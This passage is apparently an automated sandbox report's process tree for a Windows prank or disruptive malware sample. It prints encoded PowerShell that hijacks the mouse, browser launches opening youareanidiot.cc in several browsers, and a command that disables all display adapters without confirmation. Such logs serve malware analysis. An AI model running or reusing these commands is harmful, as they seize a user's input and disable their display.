      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:8056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7276
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7892
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7668
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:7408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:8024
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:8108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7712
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6332
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff90d92c728,0x7ff90d92c734,0x7ff90d92c740
        5⤵
        
        PID:7956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6616
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7940
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:4628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-PnpDevice -Class 'Display' | Where-Object {$_.Status -eq 'OK'} | Disable-PnpDevice -Confirm:$false"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:7684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIA